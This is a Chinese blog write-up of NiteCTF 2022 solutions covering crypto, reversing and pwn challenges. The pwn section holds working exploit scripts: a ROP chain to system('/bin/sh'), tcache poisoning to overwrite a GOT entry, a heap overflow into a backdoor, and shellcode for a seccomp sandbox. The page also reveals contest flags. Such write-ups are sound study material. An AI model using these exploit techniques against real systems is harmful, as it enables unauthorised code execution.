[NiteCTF 2022] 部分

134 篇文章 21 订阅
60 篇文章 12 订阅

差点忘了写了。今天才想起来。

现在的密码都从RSA转到ECC了,看来这块还得学。

Cryptography

Basically, I locked up

循环移位加异或,有一部分结果给出了,唯一的问题是这8位从哪一位开始。


def new_encryption(file_name, password):
  with open(file_name, "rb") as f:
    plaintext = f.read()
  assert(len(password) == 8)
  assert(b"HiDeteXT" in plaintext)
  add_spice = lambda b: 0xff & ((b << 1) | (b >> 7))
  ciphertext = bytearray(add_spice(c) ^ ord(password[i % len(password)]) for i, c in enumerate(plaintext))
  with open(file_name + "_encrypted", "wb") as f:
    f.write(ciphertext)

def new_decryption(file_name, password):
  with open(file_name + "_encrypted", "rb") as f:
    ciphertext = f.read()
  remove_spice = lambda b: 0xff & ((b >> 1) | (b << 7))
  plaintext = bytearray(remove_spice(c ^ ord(password[i % len(password)])) for i, c in enumerate(ciphertext))
  with open(file_name + "_decrypted", "wb") as f:
    f.write(plaintext)

password = REDACTED

new_encryption("Important", password)
new_decryption("Important", password)

一共就这么点数据,试呗。

'''
I was experimenting with making a new encryption algorithm, and came up with this one. I unfortunately decided to test it on a file which was very important to me, and now I need help in decrypting the file :(

flag format: NITE{}
'''


data = open("Important_encrypted", "rb").read()
c = [((v>>1)|(v<<7))&0xff for v in data]
print(c)

#assert(b"HiDeteXT" in plaintext)
key = b"HiDeteXT"
for i in range(len(c)-8):
    tpass = [c[i+j]^key[j] for j in range(8)]
    a = [v^tpass[(8-i+j)%8] for j,v in enumerate(c)]
    print(bytes(a))

#b'Oh, You Searching for HiDeteXT ??\n\nNITE{BrUT3fORceD_y0uR_wAy_iN}\n'

Shoo-in

这是个RNG的题,每次给出两个RNG随机数生成的词,猜第3个结果。刚开始感觉这个getPrime没法弄,仔细一看不是常用的,是自己的写的,还是用的那个RNG,那就好办了。

import gmpy2
import secrets as s
from flag import flag

fn = open(r"firstnames.py", 'r')
ln = open(r"lastnames.py", 'r')
fp = open (r"primes.py", 'r')
fn_content = fn.readlines()
ln_content = ln.readlines()
prime_arr = fp.readlines()

class RNG:
    def __init__ (self, seed, a, b, p):
        self.seed = seed
        self.a = a
        self.b = b
        self.p = p  #p0=1300

    def gen(self):
        out = self.seed
        while True:
            out = (self.a * out + self.b) % self.p
            self.a += 1
            self.b += 1
            self.p += 1
            yield out

def getPrime ():
    prime = int(prime_arr[next(gen)].strip())
    return prime

def generate_keys():
    p = getPrime()
    q = getPrime()
    n = p*q
    g = n+1
    l = (p-1)*(q-1)
    mu = gmpy2.invert(((p-1)*(q-1)), n)
    return (n, g, l, mu)

def pallier_encrypt(key, msg, rand):   #k1^msg * r^k0 % k0^2
    n_sqr = key[0]**2
    return (pow(key[1], msg, n_sqr)*pow(rand, key[0], n_sqr) ) % n_sqr

N=(min(len(fn_content), len(ln_content)))  #1300
seed, a, b = s.randbelow(N), s.randbelow(N), s.randbelow(N)
lcg = RNG(seed, a, b, N)
gen=lcg.gen()

for i in range (0, 10):
    if i==0:
        name1 = fn_content[a].strip()+" "+ln_content[b].strip()
    else:
        name1 = fn_content[next(gen)].strip()+" "+ln_content[next(gen)].strip()
    name2 = fn_content[next(gen)].strip()+" "+ln_content[next(gen)].strip()
    print (f"{name1}	vs	{name2}")
    
    winner=next(gen)%2
    inp = int(input ("Choose the winner: 1 or 2\n"))
    if (winner!=inp%2):
        print ("Sorry, you lost :(")
        break
    else:
        if (i<9):
            print ("That's correct, here is the next round\n")
        else:
            print ("Congratulations! you made it")
            print ("Can you decode this secret message?")
            key=generate_keys()
            print(pallier_encrypt(key, int.from_bytes(flag, "big"), next(gen)))

都是已知数,重算也很容易,最后是个RSA,pq是从表里选的。

from pwn import *
import re 

'''
┌──(kali㉿kali)-[~/ctf/nite]
└─$ nc 34.90.236.228 1337
== proof-of-work: disabled ==
Fiona Benjamin  vs      Mario Stone
Choose the winner: 1 or 2
1
Sorry, you lost :(
'''
class RNG:
    def __init__ (self, seed, a, b, p):
        self.seed = seed
        self.a = a
        self.b = b
        self.p = p  #p0=1300

    def gen(self):
        out = self.seed
        while True:
            out = (self.a * out + self.b) % self.p
            self.a += 1
            self.b += 1
            self.p += 1
            yield out


fn = open(r"firstnames.py", 'r')
ln = open(r"lastnames.py", 'r')
fp = open (r"primes.py", 'r')
fn_content = fn.read().split('\n')
ln_content = ln.read().split('\n')
prime_arr = fp.read().split('\n')
N=(min(len(fn_content), len(ln_content)))  #1300


io = remote('34.90.236.228', 1337)
context.log_level = 'debug'

io.readline()

def get_v():
    msg = io.readline().decode().strip()
    vs = re.findall('(\w+) (\w+)', msg)
    a = fn_content.index(vs[0][0])
    b = ln_content.index(vs[0][1])
    k1 = fn_content.index(vs[1][0])
    k2 = ln_content.index(vs[1][1])
    p = N
    #k1 = (seed*a + b ) % 1300
    #k2 = (k1 *(a+1) + b+1)%(1300+1)
    for i in range(N):
        if (i*a+b)%p == k1:
            seed = i 
            break 
    
    lcg = RNG(seed, a, b, N)
    print(k1,k2, seed,a,b)
    
    return lcg 

lcg = get_v()
gen=lcg.gen()
print(next(gen)) #k1
print(next(gen)) #k2
winter = next(gen)
io.sendlineafter(b"Choose the winner: 1 or 2\n", str(winter%2))

for i in range(9):
    for _ in range(5):
        winter = next(gen)
    print(winter)
    io.sendlineafter(b"Choose the winner: 1 or 2\n", str(winter%2))
    io.recvline()
    
print(next(gen))
print(next(gen))
print(next(gen))
print(io.recvline())
print(io.recvline())
    
'''
40
307
194
b'Can you decode this secret message?\n'
b'952213854065245981494713070734627594403606241770944057463761299078042977618041864744128444259753250272243723431255259238294856382243043952641674430463537071240590430063551976596776421251255985997922377315767062413480506894962589246691271054871807393380078125595992018307960953726439758915501543884150822819975105262946366155063277558474145006656545054748986667263344024528166904365723664482018908622698721621621784837434376559047416204368776704477401745501674972486064828995568748920904920331225258554920600482364414580663333006410901233750305106127732600544142359851750623790807104679600730142992593369592671480774\n'
'''
c = 952213854065245981494713070734627594403606241770944057463761299078042977618041864744128444259753250272243723431255259238294856382243043952641674430463537071240590430063551976596776421251255985997922377315767062413480506894962589246691271054871807393380078125595992018307960953726439758915501543884150822819975105262946366155063277558474145006656545054748986667263344024528166904365723664482018908622698721621621784837434376559047416204368776704477401745501674972486064828995568748920904920331225258554920600482364414580663333006410901233750305106127732600544142359851750623790807104679600730142992593369592671480774
p = 11084536122813715927410051257817590896970562361811652731907519111743509886000443634629301965808931651188998735979652006281012423974337408085727916211410131
q = 10145978078457239983872001639902969355958538256379830083084510015286273578765144648268503622558703011174078028817782983981406601618506160018814007929931429
n = p*q
msg = (c* pow(194,-n,n**2) - 1)%(n**2)//n
print(bytes.fromhex(hex(msg)[2:]))
#niteCTF{n0T_sO_R@nd0m}

itsybitsyrsa

这个题作出来的人居然比其它少。题目的c 很小,给了一个相对很小的e和一个特别巨大的n,所以对c直接开根号就可以。

>>> from gmpy2 import *
>>> ciphertext = 6078024553798423193134967325270202387306878937484454700144785210832339394815755363797263535831144760384402536810461373914152520460747525153665635734626316310578003166548806000257683343852515263031628982090233695220996295032936575716583495728596126751240079096593674364003045802249298199299361678669999745224985018839154146274074600219004965752333973048957727607976725390827990575687729813226401613702699051183257441850021693636974059959344719833412453497905025417839593351622709320636996239925666464353782301133515409222675847507495737188612142538775923129639884713213170912412518764747314619754618935957508354423666708305283517089032529536091110672987796381041103691446861077236961021291528811563298490135433417943714341600679964290019221435173955077079534262914560363410100316164874755331857321367215504170169506530829003731002286506634566210457965981128308504884772191672868854893390582947404342842342030835898357035291520488504627786631610266867404462368810904044020922219016091271442927517366424724153649714183355349680378250273179790120117028240988746574955059493160419888665136152805270891708176918684492030128951968893950334587567572817024928765027704515006283132198362570058143023780563048556943074104495580079392728582124369736058787865590815783160185854832854400083556883133430113640241620974371084500414639729721776378201893504526891318527252714991185354640966396032717093278978086783973148758992064489657034951664501685021776992781825670446309052924862405987959567508952981788143192406287870556075361766899243818598590213907358880725157
>>> iroot(ciphertext,19)
(mpz(3272916049721142499947688295733093290957148771109821577914942913616526059378599293), True)
>>> bytes.fromhex(hex(3272916049721142499947688295733093290957148771109821577914942913616526059378599293)[2:])
b'nitectf{rsa_can_be_very_adaptable}'
>>>

curvAES 未完成

这是个ECC的题,原来看过一个数字比较小的,直接爆破。这个不行了,不知道怎么弄。

这里一些是专门写的错误和拼写错误来误导。作了点修改后。

from tinyec import registry
from Crypto.Cipher import AES
import hashlib, secrets, binascii

#curve = registry.get_curve('0x630x750x720x760x650x200x690x730x200x620x720x610x690x6e0x700x6f0x6f0x6c0x500x320x350x360x720x31')
#'curve is brainpoolP256r1'
curve = registry.get_curve('brainpoolP256r1')

def To256bit(point):
    algo = hashlib.sha256(int.to_bytes(point.x,32,'big'))
    algo.update(int.to_bytes(point.y,32,'big'))
    return algo.digest()

def encrypt_1(msg,secretKey):
    Cipher1 = AES.new(secretKey,AES.MODE_GCM)
    ciphertext,auth = Cipher1.encrypt_and_digest(msg)
    print(ciphertext , Cipher1.nonce , auth)
    return (ciphertext,Cipher1.nonce,auth)

def encrypt_2(msg,pubKey):
    ctPK = secrets.randbelow(curve.field.n)
    sharedKey = ctPK * pubKey
    secretKey = To256bit(sharedKey)
    ciphertext, nonce, auth = encrypt_1(msg, secretKey)
    ctPubK = ctPK * curve.g
    return (ciphertext, nonce, auth, ctPubK ) #PubKey

privKey = 'Figure that out on your own :('
pubKey = privKey * curve.g

Encoded_message = encrypt_2(msg, pubKey)

encoded_message_details = {
    'ciphertext': binascii.hexlify(),
    'nonce': binascii.hexlify(),
    'auth': binascii.hexlify(),
    'PubKey': hex(??.x) + hex(??.y%2)[?:]
}

'''
根据ctPubK.x 恢复ctPK 求sharedKey
shareKey ->AES.key
AES解密
'''
y^2 = x^3 + 56698187605326110043627228396178346077120614539475214109386828188763884139993x + 17577232497321838841075697789794520262950426058923084567046852300633325438902 (mod 76884956397045344220809746629001649093037950200943055203735601445031516197751)

REV

undodge

一个.net的程序,UnDodge_Data\Managed\Assembly-CSharp.dll是主程序,用dySpy打开,根本没找着处理的逻辑,但是看到一堆这个

// 
// 
// 类型:
// 
// <Module>
// <PrivateImplementationDetails>
// BallSpawner
// BombSpawner
// Flagchar
// Flagchar1
// Flagchar10
// Flagchar11
// Flagchar12
// Flagchar13
// Flagchar14
// Flagchar15
// Flagchar2
// Flagchar3
// Flagchar4
// Flagchar5
// Flagchar6
// Flagchar7
// Flagchar8
// Flagchar9
// GameManager

flagChar从0到15,猜就是这。出来的结果两头都是下划线,不大像,但试了一下对

_what_a_player__

niteCTF{_what_a_player__} 

parser

第二个难度有点大,基本要猜。

int __fastcall sub_1FED(const char *a1)
{
  int v2; // ebx
  char v3; // al
  int v4; // [rsp+18h] [rbp-18h]
  int v5; // [rsp+1Ch] [rbp-14h]

  v4 = 0;
  v5 = -1;
  while ( a1[v4] )
  {
    if ( is_alpha(a1[v4]) )                     // 字母
    {
      a1[++v5] = a1[v4];
      goto LABEL_18;
    }
    if ( a1[v4] == 40 )                         // (
      goto LABEL_17;
    if ( a1[v4] != 41 )                         // )
    {
      while ( !(unsigned int)stack_empty() )
      {
        v2 = sub_1F98((unsigned int)a1[v4]);    // ()@_$&!
        v3 = stack_top();
        if ( v2 > (int)sub_1F98((unsigned int)v3) )// 大于栈顶则入栈
          break;
        a1[++v5] = stack_pop();                 // 小于栈顶,弹顶
      }
LABEL_17:
      stack_push((unsigned int)a1[v4]);         // push 5030
      goto LABEL_18;
    }
    while ( !(unsigned int)stack_empty() && (unsigned __int8)stack_top() != 40 )// 右括号
      a1[++v5] = stack_pop();
    if ( !(unsigned int)stack_empty() && (unsigned __int8)stack_top() != 40 )
      return -1;
    stack_pop();
LABEL_18:
    ++v4;
  }
  while ( !(unsigned int)stack_empty() )
    a1[++v5] = stack_pop();
  a1[v5 + 1] = 0;
  return printf("%s", a1);
}

前一块很简单,字母直接出,符号分别给了个优先级,见到符号会入栈,但栈必需顶大,如果不大就弹到大再入,flag就那么几个字母,给了个提示“t”是“!”,后边就是猜。

c = 'nitehi!i$hepos_!w&$rD@{}'
           2 1     32 21  1..
     nitehi!i$hepos_!w&$rD@{} 
nite{!hi$i$!he_pos&w@rD}

this is the _ possword

后边两个一直也没看懂

pwn

Toosmall

国外多数比赛不大注重pwn,所以难度都不大。但这个的问题是怎么循环回来。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[16]; // [rsp+0h] [rbp-10h] BYREF

  setbuf(_bss_start, 0LL);
  setbuf(stdin, 0LL);
  memset(s, 0, sizeof(s));
  puts("What's your favourite movie?: ");
  read(0, s, 0x100uLL);
  printf("Oooh you like %s?\n", s);
  return 0;
}

最后找到__libc_init_first+0x4c这个位置

.text:0000000000029D10                               ; void __fastcall __noreturn sub_29D10(unsigned int (__fastcall *)(_QWORD, __int64, char **), unsigned int, __int64)
.text:0000000000029D10                               sub_29D10 proc near                     ; CODE XREF: __libc_start_main+7B↓p
.text:0000000000029D10
.text:0000000000029D10                               var_90= qword ptr -90h
.text:0000000000029D10                               var_84= dword ptr -84h
.text:0000000000029D10                               var_80= qword ptr -80h
.text:0000000000029D10                               var_78= byte ptr -78h
.text:0000000000029D10                               var_30= qword ptr -30h
.text:0000000000029D10                               var_28= qword ptr -28h
.text:0000000000029D10                               var_10= qword ptr -10h
.text:0000000000029D10
.text:0000000000029D10                               ; __unwind {
.text:0000000000029D10 50                            push    rax
.text:0000000000029D11 58                            pop     rax
.text:0000000000029D12 48 81 EC 98 00 00 00          sub     rsp, 98h
.text:0000000000029D19 48 89 7C 24 08                mov     [rsp+98h+var_90], rdi
.text:0000000000029D1E 48 8D 7C 24 20                lea     rdi, [rsp+98h+var_78]           ; env
.text:0000000000029D23 89 74 24 14                   mov     [rsp+98h+var_84], esi
.text:0000000000029D27 48 89 54 24 18                mov     [rsp+98h+var_80], rdx
.text:0000000000029D2C 64 48 8B 04 25 28 00 00 00    mov     rax, fs:28h
.text:0000000000029D35 48 89 84 24 88 00 00 00       mov     [rsp+98h+var_10], rax
.text:0000000000029D3D 31 C0                         xor     eax, eax
.text:0000000000029D3F E8 9C 84 01 00                call    _setjmp
.text:0000000000029D3F
.text:0000000000029D44 F3 0F 1E FA                   endbr64
.text:0000000000029D48 85 C0                         test    eax, eax
.text:0000000000029D4A 75 4B                         jnz     short loc_29D97
.text:0000000000029D4A
.text:0000000000029D4C 64 48 8B 04 25 00 03 00 00    mov     rax, fs:300h
.text:0000000000029D55 48 89 44 24 68                mov     [rsp+98h+var_30], rax
.text:0000000000029D5A 64 48 8B 04 25 F8 02 00 00    mov     rax, fs:2F8h
.text:0000000000029D63 48 89 44 24 70                mov     [rsp+98h+var_28], rax
.text:0000000000029D68 48 8D 44 24 20                lea     rax, [rsp+98h+var_78]
.text:0000000000029D6D 64 48 89 04 25 00 03 00 00    mov     fs:300h, rax
.text:0000000000029D76 48 8B 05 3B F2 1E 00          mov     rax, cs:environ_ptr
.text:0000000000029D7D 8B 7C 24 14                   mov     edi, [rsp+98h+var_84]
.text:0000000000029D81 48 8B 74 24 18                mov     rsi, [rsp+98h+var_80]
.text:0000000000029D86 48 8B 10                      mov     rdx, [rax]
.text:0000000000029D89 48 8B 44 24 08                mov     rax, [rsp+98h+var_90]
.text:0000000000029D8E FF D0                         call    rax
.text:0000000000029D8E
.text:0000000000029D90 89 C7                         mov     edi, eax
.text:0000000000029D90
.text:0000000000029D92
.text:0000000000029D92                               loc_29D92:                              ; CODE XREF: sub_29D10+AA↓j
.text:0000000000029D92 E8 59 B8 01 00                call    exit
.text:0000000000029D92
.text:0000000000029D97                               ; ---------------------------------------------------------------------------
.text:0000000000029D97
.text:0000000000029D97                               loc_29D97:                              ; CODE XREF: sub_29D10+3A↑j
.text:0000000000029D97 E8 D4 78 06 00                call    sub_91670
.text:0000000000029D97
.text:0000000000029D9C F0 FF 0D 05 F5 1E 00          lock dec cs:__nptl_nthreads
.text:0000000000029DA3 0F 94 C0                      setz    al
.text:0000000000029DA6 84 C0                         test    al, al
.text:0000000000029DA8 75 0E                         jnz     short loc_29DB8
.text:0000000000029DA8
.text:0000000000029DAA BA 3C 00 00 00                mov     edx, 3Ch ; '<'
.text:0000000000029DAF 90                            nop
.text:0000000000029DAF
.text:0000000000029DB0
.text:0000000000029DB0                               loc_29DB0:                              ; CODE XREF: sub_29D10+A6↓j
.text:0000000000029DB0 31 FF                         xor     edi, edi                        ; error_code
.text:0000000000029DB2 89 D0                         mov     eax, edx
.text:0000000000029DB4 0F 05                         syscall                                 ; LINUX - sys_exit
.text:0000000000029DB6 EB F8                         jmp     short loc_29DB0
.text:0000000000029DB6
.text:0000000000029DB8                               ; ---------------------------------------------------------------------------
.text:0000000000029DB8
.text:0000000000029DB8                               loc_29DB8:                              ; CODE XREF: sub_29D10+98↑j
.text:0000000000029DB8 31 FF                         xor     edi, edi
.text:0000000000029DBA EB D6                         jmp     short loc_29D92
.text:0000000000029DBA                               ; } // starts at 29D10
.text:0000000000029DBA
.text:0000000000029DBA                               sub_29D10 endp
.text:0000000000029DBA
.text:0000000000029DBA                               ; ---------------------------------------------------------------------------

这题其实实现了循环回来就好办了,泄露就行了。

#py a.py re chall 34.141.229.188:1337
#py a.py de chall

from pwncli import *
cli_script()

io = gift.io
libc = gift.libc

sa("What's your favourite movie?: \n", b'A'*24+p8(0x4c))
ru('Oooh you like '+ 'A'*24)
libc.address = u64( rn(6).ljust(8, b'\x00') ) - 0x29d4c
print(hex(libc.address))

pop_rdi = libc.address + 0x000000000002a3e5 # pop rdi ; ret
bin_sh  = next(libc.search(b'/bin/sh\x00'))

sla("What's your favourite movie?: \n", b'A'*24+flat(pop_rdi+1, pop_rdi, bin_sh, libc.sym.system))


ia()

elementary-tcache

一个堆题,用了非常难搞的libc-2.35但直接用了指针,edit有溢出可以写到指针。那就好办了。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  unsigned int v3; // ebx
  int v5; // [rsp+4h] [rbp-7Ch] BYREF
  unsigned int v6; // [rsp+8h] [rbp-78h] BYREF
  unsigned int v7; // [rsp+Ch] [rbp-74h] BYREF
  void *ptr[13]; // [rsp+10h] [rbp-70h]

  ptr[11] = (void *)__readfsqword(0x28u);
  setbuf(stdout, 0LL);
  setbuf(stdin, 0LL);
  setbuf(stderr, 0LL);
  puts("1. Allocate chunk");
  puts("2. Edit chunk");
  puts("3. Free chunk");
  puts("4. View chunk");
  puts("5. Exit");
  do
  {
    while ( 1 )
    {
      while ( 1 )
      {
        while ( 1 )
        {
          while ( 1 )
          {
            printf("Option: ");
            __isoc99_scanf("%d", &v5);
            if ( v5 != 1 )
              break;
            printf("Slot: ");
            __isoc99_scanf("%d", &v6);
            if ( v6 < 0xA )
            {
              printf("Size: ");
              __isoc99_scanf("%d", &v7);
              v3 = v6;
              ptr[v3] = malloc((int)v7);
            }
            else
            {
              puts("Bad slot number!");
            }
          }
          if ( v5 != 2 )
            break;
          printf("Slot: ");
          __isoc99_scanf("%d", &v7);
          if ( !ptr[v7] || v7 > 9 )
            goto LABEL_20;
          printf("Enter content: ");
          __isoc99_scanf("%s", ptr[v7]);        // edit 溢出
        }
        if ( v5 != 3 )
          break;
        printf("Slot: ");
        __isoc99_scanf("%d", &v7);
        if ( v7 > 9 || !ptr[v7] )
          goto LABEL_20;
        free(ptr[v7]);                          // UAF
      }
      if ( v5 != 4 )
        break;
      printf("Slot: ");
      __isoc99_scanf("%d", &v7);
      if ( ptr[v7] && v7 <= 9 )
        puts((const char *)ptr[v7]);
      else
LABEL_20:
        puts("Invalid slot!");
    }
  }
  while ( v5 != 5 );
  return puts("BYE!");
}

由于2.35的堆是有个异或处理,先要弄到heap地址,再tcache-attack把chunk建到got来得到libc,最后把后门写上。2.35建块要在尾号0上有点讨厌,所以这里泄露scanf再改puts

#py a.py re heapchall 34.90.214.14:1337
#py a.py de heapchall

from pwncli import *
cli_script()

io = gift.io
elf = gift.elf
libc = gift.libc

def add(idx, size):
    sla("Option: ", '1')
    sla("Slot: ", str(idx))
    sla("Size: ", str(size))

def edit(idx,msg):
    sla("Option: ", '2')
    sla("Slot: ", str(idx))
    sla("Enter content: ", msg)

def free(idx):
    sla("Option: ", '3')
    sla("Slot: ", str(idx))

def show(idx):
    sla("Option: ", '4')
    sla("Slot: ", str(idx))

def bye():
    sla("Option: ", '5')

add(0, 0x10)
add(1, 0x10)
free(1)
free(0)
show(1)

high_heap = u64(rn(2).ljust(8, b'\x00')) 
log_ex(hex(high_heap))

edit(0, p64((elf.got['__isoc99_scanf']) ^ high_heap))
add(2, 0x10)
add(3, 0x10)  #got.puts
show(3)

libc.address = u64(rn(6).ljust(8, b'\x00')) - libc.sym.__isoc99_scanf
log_ex(hex(libc.address))

edit(3, flat(elf.sym['win'])[:-1]) #puts

ia()

Ticket System

也是堆题,有add,edit还有后门。还有溢出,只需要利用溢出写到后门上就Ok

     else if ( v24 == 2 )                      // edit
      {
        std::operator<<<std::char_traits<char>>(&std::cout, "Enter ticket no: ", v12);
        std::istream::operator>>(&std::cin, &v25);
        if ( v25 <= 0x13 )
          addSongOpt((BaseTicket *)v28[v25]);
      }
      else
      {
LABEL_21:
        v22 = std::operator<<<std::char_traits<char>>(&std::cout, "Invalid option!", v12);
        std::ostream::operator<<(v22, &std::endl<char,std::char_traits<char>>);
      }
 

直接溢出写到后门

#py a.py re tickets 34.90.13.196:1337
#py a.py de tickets

from pwncli import *
cli_script()

io = gift.io
elf = gift.elf
libc = gift.libc

def add(msg=b'AAAA'):
    sla("Option: ", '1')
    sla("Enter ticket type: ", '2')
    sla("Enter priority ticket (128 chars limit): ", msg)

def edit(idx, msg):
    sla("Option: ", '2')
    sla("Enter ticket no: ", str(idx))
    sla('Enter priority ticket (128 chars limit): ', msg)
    
add()
add()
edit(0, flat(0,0,0,0,0x31,0x403d78))
edit(1, b'A')

ia()

dented-shell

这题打开了一个目录,然后通过seccomp只通话读写,猜是把flag作为文件名了。直接溢出的读和写

int __cdecl main(int argc, const char **argv, const char **envp)
{
  void *buf; // [rsp+10h] [rbp-10h]
  __int64 v5; // [rsp+18h] [rbp-8h]

  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(_bss_start, 0LL, 2, 0LL);
  buf = mmap(0LL, 0x80uLL, 7, 33, -1, 0LL);
  if ( buf == (void *)-1LL )
  {
    puts("Failed to mmap!");
    return -1;
  }
  else
  {
    read(0, buf, 0x80uLL);
    open("./", 0, 0LL);
    puts("Here's your free file descriptor :3");
    if ( mprotect(buf, 0x80uLL, 5) )
    {
      puts("mprotect failed!");
      return -1;
    }
    else
    {
      v5 = seccomp_init(0LL);
      seccomp_rule_add();
      seccomp_rule_add();
      seccomp_rule_add();
      puts("Let's see how your shellcode does!");
      if ( (unsigned int)seccomp_load(v5) )
        __assert_fail("seccomp_load(ctx) == 0", "shellcode_chall.c", 0x22u, "main");
      ((void (__fastcall *)(__int64, __int64))buf)(v5, 2147418112LL);//  执行输入的shellcode
      return 0;
    }
  }
}

运行比较简单,只是出来的东西有些乱,多弄两回对照找到flag

文件项前边是\x04所以也算好找。

#py a.py re chall 34.90.119.207:1337
#py a.py de chall

from pwncli import *
cli_script()

io = gift.io
elf = gift.elf
libc = gift.libc


pay = '''
mov rdi,3;mov rsi,rsp;mov rdx,1024;mov rax,0xd9;syscall;
mov rdi,1;mov rsi,rsp;mov rdx,1024;mov rax,1;syscall;
'''
sa("Here's your free file descriptor :3\n", asm(pay))
rl()
print(rn(1024))

然后大海捞针

nite{ls_us3s_g3td3nts64_sysc4ll_0n_l1nux}






b"Here's your free file descriptor :3\nLet's see how your shellcode does!\n\x15o\x06\x00\x00\x00\x00\x00\xcc\x06k\xc0`N\xc1\x1b \x00\x04l1nux}\x00.\xb7\x8f\x7f\x00\x00\x16o\x06\x00\x00\x00\x00\x005\xceMn\xa1\xab\x18/(\x00\x04nite{ls_us3s_\x00\xa2j\xb4\xcbU\x00\x00\x13o\x06\x00\x00\x00\x00\x00\x81\xa5\xa2\xec\xf6\x8e\x88R\x18\x00\x08chal\x00\x11o\x06\x00\x00\x00\x00\x00\x84\x1e\xb9\xef\xb8\xb1\xf3S\x18\x00\x04..\x00\x00\x00\x14o\x06\x00\x00\x00\x00\x00\xf6\xebZ \x1e\xc4\ng \x00\x04g3td3nts64_\x00g\x17o\x06\x00\x00\x00\x00\x00\xb2\x8a\xf6w\xba\xd3\x83z \x00\x04sysc4ll_0n_\x00\x00\x12o\x06\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\x7f\x18\x00\x04.\x00\x00\x00\x00@~\x08\xb7\x8f\x7f\x00\x00\xe8\x0f\xfc\x07\xfc\x7f\x00\x00h\xcdj\xb4\xcbU\x00\x00\xe0R.\xb7\x8f\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\xa1j\xb4\xcbU\x00\x00\xd0\x0f\xfc\x07\xfc\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xa5\xa1j\xb4\xcbU\x00\x00\xc8\x0f\xfc\x07\xfc\x7f\x00\x00\x1c\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xd8/\xfc\x07\xfc\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00!\x00\x00\x00\x00\x00\x00\x00\x00\xc0\xfc\x07\xfc\x7f\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\xff\xfb\x8b\x1f\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x11\x00\x00\x00\x00\x00\x00\x00d\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00@\x90j\xb4\xcbU\x00\x00\x04\x00\x00\x00\x00\x00\x00\x008\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\r\x00\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00\x00\xa0*\xb7\x8f\x7f\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\t\x00\x00\x00\x00\x00\x00\x00\x80\xa1j\xb4\xcbU\x00\x00\x0b\x00\x00\x00\x00\x00\x00\x00\xe8\x03\x00\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x00\x00\x00\x00\xe8\x03\x00\x00\x00\x00\x00\x00\r\x00\x00\x00\x00\x00\x00\x00\xe8\x03\x00\x00\x00\x00\x00\x00\x0e\x00\x00\x00\x00\x00\x00\x00\xe8\x03\x00\x00\x00\x00\x00\x00\x17\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x19\x00\x00\x00\x00\x00\x00\x009\x11\xfc\x07\xfc\x7f\x00\x00\x1a\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x1f\x00\x00\x00\x00\x00\x00\x00\xe8/\xfc\x07\xfc\x7f\x00\x00\x0f\x00\x00\x00\x00\x00\x00\x00I\x11\xfc\x07\xfc\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x02\xdfT\xe3 \x7f\x8f\x89\x17#\xa7\x0eL\xdf{x86_64\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值